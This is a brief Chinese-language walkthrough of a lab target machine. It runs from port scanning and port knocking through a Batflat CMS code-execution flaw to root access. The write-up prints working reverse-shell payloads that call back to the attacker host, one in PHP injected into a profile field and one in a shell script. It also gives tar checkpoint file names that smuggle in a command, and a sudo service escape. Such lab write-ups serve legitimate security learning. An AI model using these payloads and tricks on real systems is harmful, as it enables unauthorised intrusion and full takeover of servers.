kali：192.168.111.111

靶机：192.168.111.172

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.172

根据提示修改hosts文件

访问目标80，在主页发现三组数字，结合端口扫描的结果中21端口被过滤，猜测存在端口碰撞

knock -v 192.168.111.172 300 350 400

21号端口开放

查看ftp中的info.txt，提示账号密码：bruce | alfred_help_me

利用该账号密码可以登录网站后台

漏洞利用

该网站CMS存在远程代码执行

searchsploit batflat

修改用户信息

在用户Displayed name的输入框写入php代码，本地监听后保存，获得反弹shell

<?php system("bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'");?>

提权

利用pspy32收集到计划任务：https://github.com/DominicBreuker/pspy

查看/home/batman/.web/script.sh

tar压缩提权

echo 'bash -i >& /dev/tcp/192.168.111.111/5555 0>&1' > root.sh
chmod 777 root.sh
echo '' > "--checkpoint=1"
echo '' > "--checkpoint-action=exec=bash root.sh"

batman用户sudo权限

提权方法：https://gtfobins.github.io/gtfobins/service/#sudo

提升为root

sudo -u root service ../../bin/bash

flag